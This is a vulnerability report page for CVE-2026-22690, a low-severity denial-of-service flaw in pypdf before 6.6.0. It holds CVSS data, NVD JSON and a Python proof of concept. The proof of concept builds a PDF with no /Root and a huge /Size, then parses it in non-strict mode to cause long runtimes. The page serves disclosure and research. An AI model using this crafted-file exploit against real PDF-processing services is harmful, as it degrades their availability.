Security Vulnerability Report
中文
CVE-2026-22690 CVSS 5.3 MEDIUM

CVE-2026-22690

Published: 2026-01-10 05:16:02
Last Modified: 2026-01-22 15:35:24

Description

pypdf is a free and open-source pure-python PDF library. Prior to version 6.6.0, pypdf has possible long runtimes for missing /Root object with large /Size values. An attacker who uses this vulnerability can craft a PDF which leads to possibly long runtimes for actually invalid files. This can be achieved by omitting the /Root entry in the trailer, while using a rather large /Size value. Only the non-strict reading mode is affected. This issue has been patched in version 6.6.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:pypdf_project:pypdf:*:*:*:*:*:*:*:* - VULNERABLE
pypdf < 6.6.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
""" CVE-2026-22690 PoC - pypdf Denial of Service via Missing /Root with Large /Size This PoC demonstrates the vulnerability in pypdf < 6.6.0 where parsing a PDF with missing /Root entry and large /Size value causes long runtimes. Vulnerable condition: - PDF trailer missing /Root entry - PDF trailer has large /Size value (e.g., 1000000) - PDF read in non-strict mode (strict=False) Reference: https://nvd.nist.gov/vuln/detail/CVE-2026-22690 """ import os import time from pypdf import PdfReader def create_malicious_pdf(filename, size_value=1000000): """ Create a malicious PDF with missing /Root and large /Size value. This triggers long runtime in pypdf < 6.6.0 non-strict mode. """ pdf_content = b"""% PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [] /Count 0 >> endobj xref 0 2 0000000000 65535 f 0000000009 00000 n trailer << /Size """ + str(size_value).encode() + b""" /Prev 0 >> startxref 0 %%EOF""" with open(filename, 'wb') as f: f.write(pdf_content) print(f"[+] Created malicious PDF: {filename}") print(f"[+] Size value set to: {size_value}") print(f"[+] Note: /Root entry is intentionally missing") def exploit(): """ Exploit function that triggers the vulnerability. """ poc_file = "cve_2026_22690_poc.pdf" # Create malicious PDF create_malicious_pdf(poc_file, size_value=1000000) print("\n[*] Attempting to parse the malicious PDF in non-strict mode...") print("[*] This may take a long time due to the vulnerability!\n") start_time = time.time() timeout = 30 # 30 second timeout try: # Vulnerable code path: non-strict mode reader = PdfReader(poc_file, strict=False) # This operation triggers the vulnerability num_pages = len(reader.pages) elapsed = time.time() - start_time print(f"[!] Parsing completed in {elapsed:.2f} seconds") print(f"[!] Target may be patched or timeout was reached") except Exception as e: elapsed = time.time() - start_time print(f"[!] Exception occurred after {elapsed:.2f} seconds: {e}") finally: # Cleanup if os.path.exists(poc_file): os.remove(poc_file) print(f"\n[+] Cleaned up {poc_file}") if __name__ == "__main__": print("=" * 60) print("CVE-2026-22690 pypdf DoS PoC") print("=" * 60) exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22690", "sourceIdentifier": "[email protected]", "published": "2026-01-10T05:16:01.847", "lastModified": "2026-01-22T15:35:23.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pypdf is a free and open-source pure-python PDF library. Prior to version 6.6.0, pypdf has possible long runtimes for missing /Root object with large /Size values. An attacker who uses this vulnerability can craft a PDF which leads to possibly long runtimes for actually invalid files. This can be achieved by omitting the /Root entry in the trailer, while using a rather large /Size value. Only the non-strict reading mode is affected. This issue has been patched in version 6.6.0."}, {"lang": "es", "value": "pypdf es una biblioteca PDF de Python puro, gratuita y de código abierto. Antes de la versión 6.6.0, pypdf tiene posibles tiempos de ejecución largos para objetos /Root faltantes con valores /Size grandes. Un atacante que utiliza esta vulnerabilidad puede crear un PDF que conduce a posibles tiempos de ejecución largos para archivos realmente inválidos. Esto se puede lograr omitiendo la entrada /Root en el tráiler, mientras se utiliza un valor /Size bastante grande. Solo el modo de lectura no estricto se ve afectado. Este problema ha sido parcheado en la versión 6.6.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pypdf_project:pypdf:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.6.0", "matchCriteriaId": "9ADBA6D3-BBC5-422A-A65F-87D6BE1A7BC9"}]}]}], "references": [{"url": "https://github.com/py-pdf/pypdf/commit/294165726b646bb7799be1cc787f593f2fdbcf45", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/py-pdf/pypdf/pull/3594", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/py-pdf/pypdf/releases/tag/6.6.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-4xc4-762w-m6cg", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}